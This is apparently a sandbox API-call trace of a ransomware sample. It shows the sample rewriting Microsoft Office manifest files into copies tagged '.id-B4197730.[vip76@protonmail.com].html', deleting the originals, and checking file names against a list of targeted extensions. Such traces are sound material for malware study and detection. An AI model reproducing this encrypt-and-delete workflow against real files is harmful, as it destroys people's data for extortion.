	[0068.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0068.531] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.531] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.531] GetLastError () returned 0x0
	[0068.531] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x618a8, lpOverlapped=0x0) returned 1
	[0068.550] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x618b0, lpOverlapped=0x0) returned 1
	[0068.557] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.557] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.557] SetEndOfFile (hFile=0x334) returned 1
	[0068.558] CloseHandle (hObject=0x334) returned 1
	[0068.566] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.566] SetEndOfFile (hFile=0x328) returned 1
	[0068.570] CloseHandle (hObject=0x328) returned 1
	[0068.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1
	[0068.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.571] lstrlenW (lpString=".doc") returned 4
	[0068.571] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.571] lstrlenW (lpString=".docx") returned 5
	[0068.571] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.571] lstrlenW (lpString=".pdf") returned 4
	[0068.571] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.571] lstrlenW (lpString=".xls") returned 4
	[0068.571] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.571] lstrlenW (lpString=".xlsx") returned 5
	[0068.571] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.571] lstrlenW (lpString=".ppt") returned 4
	[0068.571] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.571] lstrlenW (lpString=".zip") returned 4
	[0068.571] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.571] lstrlenW (lpString=".rar") returned 4
	[0068.571] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.571] lstrlenW (lpString=".bz2") returned 4
	[0068.571] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.571] lstrlenW (lpString=".7z") returned 3
	[0068.572] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.572] lstrlenW (lpString=".dbf") returned 4
	[0068.572] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.572] lstrlenW (lpString=".1cd") returned 4
	[0068.572] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.572] lstrlenW (lpString=".jpg") returned 4
	[0068.572] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.572] lstrlenW (lpString=".doc") returned 4
	[0068.572] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString=".docx") returned 5
	[0068.572] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.572] lstrlenW (lpString=".pdf") returned 4
	[0068.572] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString=".xls") returned 4
	[0068.572] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString=".xlsx") returned 5
	[0068.572] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.572] lstrlenW (lpString=".ppt") returned 4
	[0068.572] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.572] lstrlenW (lpString=".zip") returned 4
	[0068.572] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.572] lstrlenW (lpString=".rar") returned 4
	[0068.572] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.572] lstrlenW (lpString=".bz2") returned 4
	[0068.572] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.573] lstrlenW (lpString=".7z") returned 3
	[0068.573] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.573] lstrlenW (lpString=".dbf") returned 4
	[0068.573] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.573] lstrlenW (lpString=".1cd") returned 4
	[0068.573] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.573] lstrlenW (lpString=".jpg") returned 4
	[0068.573] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.573] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.573] lstrlenW (lpString="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 53
	[0068.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0068.573] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=1450) returned 1
	[0068.573] CloseHandle (hObject=0x328) returned 1
	[0068.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0068.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0068.574] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.574] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.574] GetLastError () returned 0x0
	[0068.574] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x5aa, lpOverlapped=0x0) returned 1
	[0069.051] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x5b0, lpOverlapped=0x0) returned 1
	[0069.052] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.052] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0069.053] SetEndOfFile (hFile=0x334) returned 1
	[0069.053] CloseHandle (hObject=0x334) returned 1
	[0069.053] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.054] SetEndOfFile (hFile=0x328) returned 1
	[0069.054] CloseHandle (hObject=0x328) returned 1
	[0069.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1
	[0069.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0069.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0069.055] lstrlenW (lpString=".doc") returned 4
	[0069.055] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.055] lstrlenW (lpString=".docx") returned 5
	[0069.055] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0069.055] lstrlenW (lpString=".pdf") returned 4
	[0069.055] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.055] lstrlenW (lpString=".xls") returned 4
	[0069.055] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.055] lstrlenW (lpString=".xlsx") returned 5
	[0069.055] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0069.055] lstrlenW (lpString=".ppt") returned 4
	[0069.055] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0069.056] lstrlenW (lpString=".zip") returned 4
	[0069.056] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.056] lstrlenW (lpString=".rar") returned 4
	[0069.056] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.056] lstrlenW (lpString=".bz2") returned 4
	[0069.056] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.056] lstrlenW (lpString=".7z") returned 3
	[0069.056] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0069.056] lstrlenW (lpString=".dbf") returned 4
	[0069.056] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0069.056] lstrlenW (lpString=".1cd") returned 4
	[0069.056] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0069.056] lstrlenW (lpString=".jpg") returned 4
	[0069.056] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0069.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0069.056] lstrlenW (lpString=".doc") returned 4
	[0069.056] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.056] lstrlenW (lpString=".docx") returned 5
	[0069.056] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0069.056] lstrlenW (lpString=".pdf") returned 4
	[0069.056] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.057] lstrlenW (lpString=".xls") returned 4
	[0069.057] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.057] lstrlenW (lpString=".xlsx") returned 5
	[0069.057] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0069.057] lstrlenW (lpString=".ppt") returned 4
	[0069.057] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0069.057] lstrlenW (lpString=".zip") returned 4
	[0069.057] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.057] lstrlenW (lpString=".rar") returned 4
	[0069.057] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.057] lstrlenW (lpString=".bz2") returned 4
	[0069.057] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.057] lstrlenW (lpString=".7z") returned 3
	[0069.057] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0069.057] lstrlenW (lpString=".dbf") returned 4
	[0069.057] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0069.057] lstrlenW (lpString=".1cd") returned 4
	[0069.057] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0069.057] lstrlenW (lpString=".jpg") returned 4
	[0069.057] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.058] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0069.058] lstrlenW (lpString="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 53
	[0069.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0069.058] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=1261) returned 1
	[0069.058] CloseHandle (hObject=0x328) returned 1
	[0069.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0069.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0069.058] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.058] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.059] GetLastError () returned 0x0
	[0069.059] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0069.060] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0069.061] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.061] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0069.061] SetEndOfFile (hFile=0x334) returned 1
	[0069.061] CloseHandle (hObject=0x334) returned 1
	[0069.062] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.062] SetEndOfFile (hFile=0x328) returned 1
	[0069.063] CloseHandle (hObject=0x328) returned 1
	[0069.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.063] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1
	[0069.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0069.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0069.064] lstrlenW (lpString=".doc") returned 4
	[0069.064] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.064] lstrlenW (lpString=".docx") returned 5
	[0069.064] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0069.064] lstrlenW (lpString=".pdf") returned 4
	[0069.064] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.064] lstrlenW (lpString=".xls") returned 4
	[0069.064] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.064] lstrlenW (lpString=".xlsx") returned 5
	[0069.064] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0069.064] lstrlenW (lpString=".ppt") returned 4
	[0069.064] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0069.064] lstrlenW (lpString=".zip") returned 4
	[0069.064] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.064] lstrlenW (lpString=".rar") returned 4
	[0069.064] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.064] lstrlenW (lpString=".bz2") returned 4
	[0069.064] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.064] lstrlenW (lpString=".7z") returned 3
	[0069.064] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0069.064] lstrlenW (lpString=".dbf") returned 4
	[0069.064] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0069.064] lstrlenW (lpString=".1cd") returned 4
	[0069.065] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0069.065] lstrlenW (lpString=".jpg") returned 4
	[0069.065] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0069.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0069.065] lstrlenW (lpString=".doc") returned 4
	[0069.065] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.065] lstrlenW (lpString=".docx") returned 5
	[0069.065] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0069.065] lstrlenW (lpString=".pdf") returned 4
	[0069.065] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.065] lstrlenW (lpString=".xls") returned 4
	[0069.065] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.065] lstrlenW (lpString=".xlsx") returned 5
	[0069.065] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0069.065] lstrlenW (lpString=".ppt") returned 4
	[0069.065] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104
	[0069.065] lstrlenW (lpString=".zip") returned 4
	[0069.065] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.065] lstrlenW (lpString=".rar") returned 4
	[0069.065] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.065] lstrlenW (lpString=".bz2") returned 4
	[0069.065] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.065] lstrlenW (lpString=".7z") returned 3
	[0069.065] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
